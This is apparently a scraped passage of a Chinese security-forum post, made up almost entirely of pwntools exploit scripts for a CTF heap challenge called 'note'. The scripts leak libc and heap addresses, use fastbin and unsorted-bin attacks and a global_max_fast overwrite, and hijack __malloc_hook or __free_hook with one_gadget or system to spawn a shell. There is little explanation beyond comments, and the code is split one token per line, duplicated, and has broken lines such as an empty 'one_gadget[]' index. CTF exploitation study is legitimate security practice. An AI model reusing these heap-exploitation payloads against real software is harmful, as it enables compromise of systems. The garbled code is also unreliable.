indexKey_new
lstKey.append(indexKey)
countStr
-
=
1
for
i
in
range
(
len
(lstKey)):
one_gadget.append(
int
(originStr[(lstKey[i]
-
8
):lstKey[i]
-
1
],
16
))
return
one_gadget
def
pwn():
heap_base
=
leak_heap()
libc_base
=
leak_libc()
-
libc.sym[
'printf'
]
elf_base
=
leak_elf()
-
elf.sym[
'main'
]
log.info(
"heap_base:0x%x"
%
heap_base)
log.info(
"libc_base:0x%x"
%
libc_base)
log.info(
"elf_base:0x%x"
%
elf_base)
add_malloc(
0x1000
-
0x290
-
0x8
,
'PIG007NB'
)
i
=
0
while
True
:
i
=
i
+
1
try
:
p
=
process(
"./note"
)
lg(
"Times:"
,i)
pwn()
except
EOFError:
p.close()
continue
except
Exception:
p.close()
continue
else
:
p.interactive()
break
# -*- coding:UTF-8 -*-
from
pwn
import
*
#from LibcSearcher import *
import
commands
#context.log_level = 'debug'
#context
context.arch
=
'amd64'
context.timeout
=
0.5
SigreturnFrame(kernel
=
'amd64'
)
binary
=
"./note"
context.binary
=
binary
libc
=
ELF(context.binary.libc.path)
elf
=
ELF(binary)
largeBinIdx
=
1096
unsortedBinIdx
=
88
local
=
1
if
local:
p
=
process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
else
:
p
=
remote(
"node3.buuoj.cn"
,
"49153"
)
elf
=
ELF(binary)
libc
=
ELF(libc_file)
sd
=
lambda
s:p.send(s)
sl
=
lambda
s:p.sendline(s)
rc
=
lambda
s:p.recv(s)
ru
=
lambda
s:p.recvuntil(s)
rl
=
lambda
:p.recvline()
sa
=
lambda
a,s:p.sendafter(a,s)
sla
=
lambda
a,s:p.sendlineafter(a,s)
uu32
=
lambda
data :u32(data.ljust(
4
,
'\0'
))
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
u64Leakbase
=
lambda
offset :u64(ru(
"\x7f"
)[
-
6
: ]
+
'\0\0'
)
-
offset
u32Leakbase
=
lambda
offset :u32(ru(
"\xf7"
)[
-
4
: ])
-
offset
it
=
lambda
:p.interactive()
def
dockerDbg():
myGdb
=
remote(
"127.0.0.1"
,
30001
)
myGdb.close()
pause()
def
dbg():
gdb.attach(p)
pause()
def
lg(string,addr):
print
(
'\033[1;31;40m%20s-->0x%x\033[0m'
%
(string,addr))
def
add_malloc(size,content):
p.sendlineafter(
"Your choice :"
,
'1'
)
p.sendlineafter(
'Note size :'
,
str
(size))
p.sendafter(
'Content :'
,content)
def
free(idx):
p.sendlineafter(
"Your choice :"
,
'2'
)
p.sendlineafter(
'Index :'
,
str
(idx))
def
show(idx):
p.sendlineafter(
"Your choice :"
,
'3'
)
p.sendlineafter(
'Index :'
,
str
(idx))
def
edit(idx,size,content):
p.sendlineafter(
"Your choice :"
,
'4'
)
p.sendlineafter(
'Index :'
,
str
(idx))
p.sendlineafter(
'Size :'
,
str
(size))
p.sendafter(
'Content :'
,content)
def
add_calloc(size,content):
p.sendlineafter(
"Your choice :"
,
'5'
)
p.sendlineafter(
'Note size :'
,
str
(size))
p.sendafter(
'Content :'
,content)
def
exit():
p.sendlineafter(
"Your choice :"
,
'6'
)
def
edit_m(idx,size,content):
sleep(
0.01
)
p.sendline(
'4'
)
sleep(
0.01
)
p.sendline(
str
(idx))
sleep(
0.01
)
p.sendline(
str
(size))
sleep(
0.01
)
p.send(content)
sleep(
0.01
)
def
free_m(idx):
sleep(
0.01
)
p.sendline(
'2'
)
sleep(
0.01
)
p.sendline(
str
(idx))
sleep(
0.01
)
def
add_malloc_m(size,content):
sleep(
0.01
)
p.sendline(
'1'
)
sleep(
0.01
)
p.sendline(
str
(size))
sleep(
0.01
)
p.send(content)
sleep(
0.01
)
def
tcacheDelete(idx):
for
i
in
range
(
7
):
free(i
+
idx)
def
tcacheMalloc(size):
for
i
in
range
(
7
):
add_malloc(size,
'\x00'
)
def
leak_heap():
global
largeBinIdx
global
unsortedBinIdx
ru(
"Gift_Heap:0x"
)
LeakHeap
=
int
(rc(
12
),
16
)
log.info(
"LeakHeap:0x%x"
%
LeakHeap)
path
=
libc.path
#version = ["2.23","2.27","2.29","2.31","2.32","2.33"]
if
(
"2.23"
in
path):
heap_base
=
LeakHeap
-
0x10
elif
(
"2.24"
in
path):
heap_base
=
LeakHeap
-
0x10
elif
(
"2.25"
in
path):
heap_base
=
LeakHeap
-
0x10
elif
(
"2.26"
in
path):
heap_base
=
LeakHeap
-
0x250
-
0x10
largeBinIdx
=
1104
unsortedBinIdx
=
96
elif
(
"2.27"
in
path):
heap_base
=
LeakHeap
-
0x250
-
0x10
largeBinIdx
=
1104
unsortedBinIdx
=
96
elif
(
"2.28"
in
path):
heap_base
=
LeakHeap
-
0x250
-
0x10
largeBinIdx
=
1104
unsortedBinIdx
=
96
elif
(
"2.29"
in
path):
heap_base
=
LeakHeap
-
0x250
-
0x10
largeBinIdx
=
1104
unsortedBinIdx
=
96
elif
(
"2.30"
in
path):
heap_base
=
LeakHeap
-
0x290
-
0x10
largeBinIdx
=
1104
unsortedBinIdx
=
96
elif
(
"2.31"
in
path):
heap_base
=
LeakHeap
-
0x290
-
0x10
largeBinIdx
=
1104
unsortedBinIdx
=
96
elif
(
"2.32"
in
path):
heap_base
=
LeakHeap
-
0x290
-
0x10
largeBinIdx
=
1104
unsortedBinIdx
=
96
elif
(
"2.33"
in
path):
heap_base
=
LeakHeap
-
0x290
-
0x10
largeBinIdx
=
1104
unsortedBinIdx
=
96
else
:
print
(
"Version Wrong!"
)
quit()
return
heap_base
def
leak_elf():
ru(
"Gift_elf:0x"
)
Leak
=
int
(rc(
12
),
16
)
log.info(
"LeakElf:0x%x"
%
Leak)
return
Leak
def
leak_libc():
ru(
"Gift_Libc:0x"
)
Leak
=
int
(rc(
12
),
16
)
log.info(
"LeakLibc:0x%x"
%
Leak)
return
Leak
def
getMain_arena(libc_base):
return
libc_base
+
libc.sym[
'__malloc_hook'
]
+
0x10
def
getOnegadget():
originStr
=
commands.getstatusoutput(
'one_gadget '
+
context.binary.libc.path)[
1
]
print
originStr
one_gadget
=
[]
lstKey
=
[]
lengthKey
=
0
key
=
'execve'
countStr
=
originStr.count(key)
if
countStr <
1
:
print
(
'No one_gadget'
)
elif
countStr
=
=
1
:
#only one one_gadget
indexKey
=
originStr.find(key)
one_gadget.append(
int
(originStr[indexKey
-
8
:indexKey
-
1
],
16
))
return
one_gadget
else
:
#multiple one_gadgey
indexKey
=
originStr.find(key)
lstKey.append(indexKey)
while
countStr >
1
:
str_new
=
originStr[indexKey
+
1
:
len
(originStr)
+
1
]
indexKey_new
=
str_new.find(key)
indexKey
=
indexKey
+
1
+
indexKey_new
lstKey.append(indexKey)
countStr
-
=
1
for
i
in
range
(
len
(lstKey)):
one_gadget.append(
int
(originStr[(lstKey[i]
-
8
):lstKey[i]
-
1
],
16
))
return
one_gadget
def
pwn():
heap_base
=
leak_heap()
libc_base
=
leak_libc()
-
libc.sym[
'printf'
]
elf_base
=
leak_elf()
-
elf.sym[
'main'
]
log.info(
"heap_base:0x%x"
%
heap_base)
log.info(
"libc_base:0x%x"
%
libc_base)
log.info(
"elf_base:0x%x"
%
elf_base)
add_malloc(
0x1000
-
0x290
-
0x8
,
'PIG007NB'
)
i
=
0
while
True
:
i
=
i
+
1
try
:
p
=
process(
"./note"
)
lg(
"Times:"
,i)
pwn()
except
EOFError:
p.close()
continue
except
Exception:
p.close()
continue
else
:
p.interactive()
break
#注释头
one_gadget
=
getOnegadget()
add_malloc(
0x418
,
'PIG007NB'
)
add_malloc(
0x68
,
'PIG007NB'
)
free(
1
)
show(
1
)
libc_base
=
u64Leakbase(
88
+
libc.sym[
'main_arena'
])
lg(
"libc_base"
,libc_base)
free(
2
)
edit(
2
,
0x8
,p64(libc_base
+
libc.sym[
'__malloc_hook'
]
-
0x23
))
add_malloc(
0x68
,
'PIG007NB'
)
for
i
in
range
(
len
(one_gadget)):
lg(
"one_gadget["
+
str
(i)
+
"]"
,libc_base
+
one_gadget[i])
add_malloc(
0x68
,
'\x00'
*
0x13
+
p64(libc_base
+
one_gadget[]))
#add_malloc(0x18,'PIG007NB')
p.sendline(
'1'
)
p.sendline(
'1'
)
p.sendline(
'1'
)
p.interactive()
#注释头
one_gadget
=
getOnegadget()
add_malloc(
0x418
,
'PIG007NB'
)
add_malloc(
0x68
,
'PIG007NB'
)
free(
1
)
show(
1
)
libc_base
=
u64Leakbase(
88
+
libc.sym[
'main_arena'
])
lg(
"libc_base"
,libc_base)
free(
2
)
edit(
2
,
0x8
,p64(libc_base
+
libc.sym[
'__malloc_hook'
]
-
0x23
))
add_malloc(
0x68
,
'PIG007NB'
)
for
i
in
range
(
len
(one_gadget)):
lg(
"one_gadget["
+
str
(i)
+
"]"
,libc_base
+
one_gadget[i])
add_malloc(
0x68
,
'\x00'
*
0x13
+
p64(libc_base
+
one_gadget[]))
#add_malloc(0x18,'PIG007NB')
p.sendline(
'1'
)
p.sendline(
'1'
)
p.sendline(
'1'
)
p.interactive()
#注释头
one_gadget
=
getOnegadget()
main_arena
=
libc.sym[
'main_arena'
]
fastbinsY
=
main_arena
+
8
target_addr
=
main_arena
+
80
idx
=
(target_addr
-
fastbinsY)
/
8
size
=
idx
*
0x10
+
0x20
add_malloc(size
-
0x8
,
'PIG007NB'
)
add_malloc(
0x2f8
,
'PIG007NB'
)
add_malloc(size
+
0x10
-
0x8
,
'PIG007NB'
)
add_malloc(
0xf8
,
'PIG007NB'
)
free(
2
)
show(
2
)
libc_base
=
u64Leakbase(unsortedBinIdx
+
libc.sym[
'main_arena'
])
lg(
"libc_base"
,libc_base)
malloc_hook
=
libc_base
+
libc.sym[
'__malloc_hook'
]
main_arena
=
libc_base
+
libc.sym[
'main_arena'
]
target_addr
=
libc_base
+
libc.sym[
'global_max_fast'
]
edit(
2
,
0x18
,p64(
0x0
)
+
p64(target_addr
-
0x10
))
add_malloc(
0x2f8
,
'\x00'
)
free(
1
)
edit(
1
,
0x8
,p64(size
+
0x10
+
1
))
add_malloc(size
-
0x8
,
'PIG007NB'
)
free(
3
)
edit(
3
,
0x8
,p64(libc_base
+
libc.sym[
'main_arena'
]
+
0x48
))
add_malloc(size
+
0x10
-
0x8
,
'PIG007NB'
)
add_malloc(size
+
0x10
-
0x8
,p64(malloc_hook
-
0x28
)
+
p64(
0x0
)
+
p64(main_arena
+
88
)
*
2
)
add_malloc(
0x98
,p64(
0x0
)
*
2
+
p64(libc_base
+
one_gadget[
1
])
+
p64(libc_base
+
libc.sym[
'realloc'
]
+
8
))
p.sendline(
'1'
)
p.sendline(
'1'
)
p.sendline(
'1'
)
it()
#注释头
one_gadget
=
getOnegadget()
main_arena
=
libc.sym[
'main_arena'
]
fastbinsY
=
main_arena
+
8
target_addr
=
main_arena
+
80
idx
=
(target_addr
-
fastbinsY)
/
8
size
=
idx
*
0x10
+
0x20
add_malloc(size
-
0x8
,
'PIG007NB'
)
add_malloc(
0x2f8
,
'PIG007NB'
)
add_malloc(size
+
0x10
-
0x8
,
'PIG007NB'
)
add_malloc(
0xf8
,
'PIG007NB'
)
free(
2
)
show(
2
)
libc_base
=
u64Leakbase(unsortedBinIdx
+
libc.sym[
'main_arena'
])
lg(
"libc_base"
,libc_base)
malloc_hook
=
libc_base
+
libc.sym[
'__malloc_hook'
]
main_arena
=
libc_base
+
libc.sym[
'main_arena'
]
target_addr
=
libc_base
+
libc.sym[
'global_max_fast'
]
edit(
2
,
0x18
,p64(
0x0
)
+
p64(target_addr
-
0x10
))
add_malloc(
0x2f8
,
'\x00'
)
free(
1
)
edit(
1
,
0x8
,p64(size
+
0x10
+
1
))
add_malloc(size
-
0x8
,
'PIG007NB'
)
free(
3
)
edit(
3
,
0x8
,p64(libc_base
+
libc.sym[
'main_arena'
]
+
0x48
))
add_malloc(size
+
0x10
-
0x8
,
'PIG007NB'
)
add_malloc(size
+
0x10
-
0x8
,p64(malloc_hook
-
0x28
)
+
p64(
0x0
)
+
p64(main_arena
+
88
)
*
2
)
add_malloc(
0x98
,p64(
0x0
)
*
2
+
p64(libc_base
+
one_gadget[
1
])
+
p64(libc_base
+
libc.sym[
'realloc'
]
+
8
))
p.sendline(
'1'
)
p.sendline(
'1'
)
p.sendline(
'1'
)
it()
#注释头
main_arena
=
libc.sym[
'main_arena'
]
fastbinsY
=
main_arena
+
8
target_addr_binsY
=
libc.sym[
'__free_hook'
]
-
0x10
idx
=
(target_addr_binsY
-
fastbinsY)
/
8
size
=
idx
*
0x10
+
0x20
add_malloc(
0x4f8
,
"\xaa"
*
0x4f8
)
#idx1
add_malloc(
0x4f8
,
'/bin/sh\x00'
)
#idx2
add_malloc(size
-
0x8
,
'PIG007NB'
)
#idx3
add_malloc(size
+
0x10
-
0x8
,
'PIG007NB'
)
#idx4
free(
1
)
show(
1
)
libc_base
=
u64Leakbase(unsortedBinIdx
+
libc.sym[
'main_arena'
])
lg(
"libc_base"
,libc_base)
target_addr
=
libc_base
+
libc.sym[
'global_max_fast'
]
log.info(
"target_addr:0x%x"
%
target_addr)
#change unsortedBinchunkA
#chunkA.fd could be anything
edit(
1
,
0x4f8
,p64(
0x0
)
+
p64(target_addr
-
0x10
))
#have to malloc all from unsortedbin
add_malloc(
0x4f8
,
"\xaa"
*
0x4f8
)
#idx4
free(
3
)
edit(
3
,
0x8
,p64(size
+
0x10
+
1
))
add_malloc(size
-
0x8
,
'PIG007NB'
)
free(
4
)
edit(
4
,
0x8
,p64(libc_base
+
target_addr_binsY
-
0x8
))
add_malloc(size
+
0x10
-
0x8
,
'PIG007NB'
)
add_malloc(size
+
0x10
-
0x8
,p64(
0x0
)
+
p64(libc_base
+
libc.sym[
'system'
]))
free(
2
)
it()
#注释头
main_arena
=
libc.sym[
'main_arena'
]
fastbinsY
=
main_arena
+
8
target_addr_binsY
=
libc.sym[
'__free_hook'
]
-
0x10
idx
=
(target_addr_binsY
-
fastbinsY)
/
8
size
=
idx
*
0x10
+
0x20
add_malloc(
0x4f8
,
"\xaa"
*
0x4f8
)
#idx1
add_malloc(
0x4f8
,
'/bin/sh\x00'
)
#idx2
add_malloc(size
-
0x8
,
'PIG007NB'
)
#idx3
add_malloc(size
+
0x10
-
0x8
,
'PIG007NB'
)
#idx4
free(
1
)
show(
1
)
libc_base
=
u64Leakbase(unsortedBinIdx
+
libc.sym[
'main_arena'
])
lg(
"libc_base"
,libc_base)
target_addr
=
libc_base
+
libc.sym[
'global_max_fast'
]
log.info(
"target_addr:0x%x"
%
target_addr)
#change unsortedBinchunkA
#chunkA.fd could be anything
edit(
1
,
0x4f8
,p64(
0x0
)
+
p64(target_addr
-
0x10
))
#have to malloc all from unsortedbin
add_malloc(
0x4f8
,
"\xaa"
*
0x4f8
)
#idx4
free(
3
)
edit(
3
,
0x8
,p64(size
+
0x10
+
1
))
add_malloc(size
-
0x8
,
'PIG007NB'
)
free(
4
)
edit(
4
,
0x8
,p64(libc_base
+
target_addr_binsY
-
0x8
))
add_malloc(size
+
0x10
-
0x8
,
'PIG007NB'
)
add_malloc(size
+
0x10
-
0x8
,p64(
0x0
)
+
p64(libc_base
+
libc.sym[
'system'
]))
free(
2
)
it()
#注释头
def
pwn():
#one_gadget = getOnegadget()
heap_base
=
leak_heap()
libc_base
=
leak_libc()
-
libc.sym[
'printf'
]
elf_base
=
leak_elf()
-
elf.sym[
'main'
]
log.info(
"heap_base:0x%x"
%
heap_base)
log.info(
"libc_base:0x%x"
%
libc_base)
log.info(
"elf_base:0x%x"
%
elf_base)
add_malloc(
0x1000
-
0x8
,
'PIG007NB'
)
#prepare data-----------------------------------------------------------
guess_libc
=
0x9000
guess_heap
=
0x2000
fastbinsY
=
guess_libc
+
libc.sym[
'main_arena'
]
+
8
_IO_read_end
=
guess_libc
+
libc.sym[
'_IO_2_1_stdout_'
]
+
0x10
_IO_write_base
=
guess_libc
+
libc.sym[
'_IO_2_1_stdout_'
]
+
0x20
_IO_write_ptr
=
guess_libc
+
libc.sym[
'_IO_2_1_stdout_'
]
+
0x28
_IO_write_end
=
guess_libc
+
libc.sym[
'_IO_2_1_stdout_'
]
+
0x30
idx_read_end
=
(_IO_read_end
-
fastbinsY)
/
8
size_read_end
=
idx_read_end
*
0x10
+
0x20
idx_write_base
=
(_IO_write_base
-
fastbinsY)
/
8
size_write_base
=
idx_write_base
*
0x10
+
0x20
idx_write_ptr
=
(_IO_write_ptr
-
fastbinsY)
/
8
size_write_ptr
=
idx_write_ptr
*
0x10
+
0x20
idx_write_end
=
(_IO_write_end
-
fastbinsY)
/
8
size_write_end
=
idx_write_end
*
0x10
+
0x20
target_addr_gMF
=
guess_libc
+
libc.sym[
'global_max_fast'
]
fastbinsY
=
libc.sym[
'main_arena'
]
+
8
target_addr_binsY
=
libc.sym[
'__free_hook'
]
-
0x10
idx_free_hook
=
(target_addr_binsY
-
fastbinsY)
/
8
size_free_hook
=
idx_free_hook
*
0x10
+
0x20
#read_end-------------------------------------------------------------
add_malloc(
0x38
,
"\x00"
*
0x38
)
#idx 0x1
add_malloc(
0x38
,
"\x00"
*
0x38
)
#idx 0x2 point free read_end
add_malloc(
0x38
,
"\x03"
*
0x38
)
#idx 0x3
add_malloc(
0x38
,
'\x04'
*
0x18
+
p64(
0x21
)
+
'\x04'
*
0x18
)
#idx 0x4
free(
0x1
)
#free(2)
free(
0x3
)
edit(
0x3
,
0x1
,
'\x20'
)
edit(
0x1
,
0x20
,p64(
0x0
)
*
3
+
p64(
0x41
))
add_malloc(
0x38
,
'\x05'
*
0x18
+
p64(
0x21
)
+
'\x05'
*
0x18
)
#idx 0x5
add_malloc(
0x38
,
'\x06'
*
0x18
)
#idx 0x6 #point change size
#---------------------------------------------------------------------
#write_end can not be so far from wirte_base
add_malloc(size_write_end
-
0x8
,(p64(
0x0
)
+
p64(
0x21
))
*
((size_write_end
-
0x10
)
/
0x10
))
#idx 0x7
add_malloc(size_write_ptr
-
0x8
,(p64(
0x0
)
+
p64(
0x21
))
*
((size_write_ptr
-
0x10
)
/
0x10
))
#idx 0x8
#write_base-----------------------------------------------------------
add_malloc(
0x38
,
"\x00"
*
0x38
)
#idx 0x9
add_malloc(
0x38
,
"\xaa"
*
0x38
)
#idx 0xa
add_malloc(
0x38
,
"\x0b"
*
0x38
)
#idx 0xb
add_malloc(
0x38
,
'\x0c'
*
0x18
+
p64(
0x21
)
+
'\xaa'
*
0x18
)
#idx 0xc
free(
0x9
)
#free(2)
free(
0xb
)
edit(
0xb
,
0x2
,p16((guess_heap
+
0x1000
+
0x40
)&
0xffff
))
edit(
0x9
,
0x20
,p64(
0x0
)
*
3
+
p64(
0x41
))
add_malloc(
0x38
,
'\x0d'
*
0x18
+
p64(
0x21
)
+
'\x05'
*
0x18
)
#idx 0xd
add_malloc(
0x38
,
'\x0e'
*
0x18
)
#idx 0xe #point free
#---------------------------------------------------------------------
#prepare for free_hook
add_malloc(size_free_hook
-
0x8
,
'PIG007NB'
)
#idxf
add_malloc(size_free_hook
+
0x10
-
0x8
,
'PIG007NB'
)
#idx10
#unsortedbin attack
add_malloc(
0x4f8
,
'\x11'
*
0x4f8
)
#idx 0x11
add_malloc(
0x38
,
'\x12'
*
0x38
)
#idx 0x12
free(
0x11
)
edit(
0x11
,
0x8
+
0x2
,p64(
0x0
)
+
p16((target_addr_gMF&
0xffff
)
-
0x10
))
add_malloc(
0x4f8
,
'/bin/sh\x00'
)
#idx 0x13
#change write_base
edit_m(
0x6
,
0x20
,p64(
0x0
)
*
3
+
p64(size_write_base
+
1
))
free_m(
0xe
)
#change write_end and write_ptr
free_m(
0x7
)
free_m(
0x8
)
#change read_end
edit_m(
0x6
,
0x20
,p64(
0x0
)
*
3
+
p64(size_read_end
+
1
))
free_m(
0x2
)
libc_base
=
u64Leakbase(libc.sym[
'_IO_2_1_stdout_'
]
+
131
)
lg(
"libc_base"
,libc_base)
#write free_hook - 0x10
free(
0xf
)
#left size
edit(
0xf
,
0x8
,p64(size_free_hook
+
0x10
+
1
))
add_malloc(size_free_hook
-
0x8
,
'PIG007NB'
)
#get free_hook - 0x8
free(
0x10
)
edit(
0x10
,
0x8
,p64(libc_base
+
target_addr_binsY
-
0x8
))
add_malloc(size_free_hook
+
0x10
-
0x8
,
'PIG007NB'
)
add_malloc(size_free_hook
+
0x10
-
0x8
,p64(
0x0
)
+
p64(libc_base
+
libc.sym[
'system'
]))
#get shell
free(
0x13
)
it()
i
=
0
while
True
:
i
=
i
+
1
try
:
p
=
process(
"./note"
)
lg(
"Times:"
,i)
pwn()
except
EOFError:
p.close()
continue
else
:
p.interactive()
break
#注释头
def
pwn():
#one_gadget = getOnegadget()
heap_base
=
leak_heap()
libc_base
=
leak_libc()
-
libc.sym[
'printf'
]
elf_base
=
leak_elf()
-
elf.sym[
'main'
]
log.info(
"heap_base:0x%x"
%
heap_base)
log.info(
"libc_base:0x%x"
%
libc_base)
log.info(
"elf_base:0x%x"
%
elf_base)
add_malloc(
0x1000
-
0x8
,
'PIG007NB'
)
#prepare data-----------------------------------------------------------
guess_libc
=
0x9000
guess_heap
=
0x2000
fastbinsY
=
guess_libc
+
libc.sym[
'main_arena'
]
+
8
_IO_read_end
=
guess_libc
+
libc.sym[
'_IO_2_1_stdout_'
]
+
0x10
_IO_write_base
=
guess_libc
+
libc.sym[
'_IO_2_1_stdout_'
]
+
0x20
_IO_write_ptr
=
guess_libc
+
libc.sym[
'_IO_2_1_stdout_'
]
+
0x28
_IO_write_end
=
guess_libc
+
libc.sym[
'_IO_2_1_stdout_'
]
+
0x30
idx_read_end
=
(_IO_read_end
-
fastbinsY)
/
8
size_read_end
=
idx_read_end
*
0x10
+
0x20
idx_write_base
=
(_IO_write_base
-
fastbinsY)
/
8
size_write_base
=
idx_write_base
*
0x10
+
0x20
idx_write_ptr
=
(_IO_write_ptr
-
fastbinsY)
/
8
size_write_ptr
=
idx_write_ptr
*
0x10
+
0x20
idx_write_end
=
(_IO_write_end
-
fastbinsY)
/
8
size_write_end
=
idx_write_end
*
0x10
+
0x20
target_addr_gMF
=
guess_libc
+
libc.sym[
'global_max_fast'
]
fastbinsY
=
libc.sym[
'main_arena'
]
+
8
target_addr_binsY
=
libc.sym[
'__free_hook'
]
-
0x10
idx_free_hook
=
(target_addr_binsY
-
fastbinsY)
/
8
size_free_hook
=
idx_free_hook
*
0x10
+
0x20
#read_end-------------------------------------------------------------
add_malloc(
0x38
,
"\x00"
*
0x38
)
#idx 0x1
add_malloc(
0x38
,
"\x00"
*
0x38
)
#idx 0x2 point free read_end
add_malloc(
0x38
,
"\x03"
*
0x38
)
#idx 0x3
add_malloc(
0x38
,
'\x04'
*
0x18
+
p64(
0x21
)
+
'\x04'
*
0x18
)
#idx 0x4
free(
0x1
)
#free(2)
free(
0x3
)
edit(
0x3
,
0x1
,
'\x20'
)
edit(
0x1
,
0x20
,p64(
0x0
)
*
3
+
p64(
0x41
))
add_malloc(
0x38
,
'\x05'
*
0x18
+
p64(
0x21
)
+
'\x05'
*
0x18
)
#idx 0x5
add_malloc(
0x38
,
'\x06'
*
0x18
)
#idx 0x6 #point change size
#---------------------------------------------------------------------
#write_end can not be so far from wirte_base
add_malloc(size_write_end
-
0x8
,(p64(
0x0
)
+
p64(
0x21
))
*
((size_write_end
-
0x10
)
/
0x10
))
#idx 0x7
add_malloc(size_write_ptr
-
0x8
,(p64(
0x0
)
+
p64(
0x21
))
*
((size_write_ptr
-
0x10
)
/
0x10
))
#idx 0x8
#write_base-----------------------------------------------------------
add_malloc(
0x38
,
"\x00"
*
0x38
)
#idx 0x9
add_malloc(
0x38
,
"\xaa"
*
0x38
)
#idx 0xa
add_malloc(
0x38
,
"\x0b"
*
0x38
)
#idx 0xb
add_malloc(
0x38
,
'\x0c'
*
0x18
+
p64(
0x21
)
+
'\xaa'
*
0x18
)
#idx 0xc
free(
0x9
)
#free(2)
free(
0xb
)
edit(
0xb
,
0x2
,p16((guess_heap
+
0x1000
+
0x40
)&
0xffff
))
edit(
0x9
,
0x20
,p64(
0x0
)
*
3
+
p64(
0x41
))
add_malloc(
0x38
,
'\x0d'
*
0x18
+
p64(
0x21
)
+
'\x05'
*
0x18
)
#idx 0xd
add_malloc(
0x38
,
'\x0e'
*
0x18
)
#idx 0xe #point free
#---------------------------------------------------------------------
#prepare for free_hook
add_malloc(size_free_hook
-
0x8
,
'PIG007NB'
)
#idxf
add_malloc(size_free_hook
+
0x10
-
0x8
,
'PIG007NB'
)
#idx10
#unsortedbin attack
add_malloc(
0x4f8
,
'\x11'
*
0x4f8
)
#idx 0x11
add_malloc(
0x38
,
'\x12'
*
0x38
)
#idx 0x12
free(
0x11
)
edit(
0x11
,
0x8
+
0x2
,p64(
0x0
)
+
p16((target_addr_gMF&
0xffff
)
-
0x10
))
add_malloc(
0x4f8
,
'/bin/sh\x00'
)
#idx 0x13
#change write_base
edit_m(
0x6
,
0x20
,p64(
0x0
)
*
3
+
p64(size_write_base
+
1
))
free_m(
0xe
)
#change write_end and write_ptr
free_m(
0x7
)
free_m(
0x8
)
#change read_end
edit_m(
0x6
,
0x20
,p64(
0x0
)
*
3
+
p64(size_read_end
+
1
))
free_m(
0x2
)
libc_base
=
u64Leakbase(libc.sym[
'_IO_2_1_stdout_'
]
+
131
)
lg(
"libc_base"
,libc_base)
#write free_hook - 0x10
free(
0xf
)
#left size
edit(
0xf
,
0x8
,p64(size_free_hook
+
0x10
+
1
))
add_malloc(size_free_hook
-
0x8
,
'PIG007NB'
)
#get free_hook - 0x8
free(
0x10
)
edit(
0x10
,
0x8
,p64(libc_base
+
target_addr_binsY
-
0x8
))
add_malloc(size_free_hook
+
0x10
-
0x8
,
'PIG007NB'
)
add_malloc(size_free_hook
+
0x10
-
0x8
,p64(
0x0
)
+
p64(libc_base
+
libc.sym[
'system'
]))
#get shell
free(
0x13
)
it()
i
=
0
while
True
:
i
=
i
+
1
try
:
p
=
process(
"./note"
)
lg(
"Times:"
,i)
pwn()
except
EOFError:
p.close()
continue
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
- [原创]CVE-2021-22555_Netfilter堆溢出提权漏洞 22416
- [原创]Kernel从0开始(四) 28157
- [原创]Kernel从0开始(三) 29251
- [原创]Kernel从0开始(二) 32429
- [原创]Kernel从0开始(一) 44925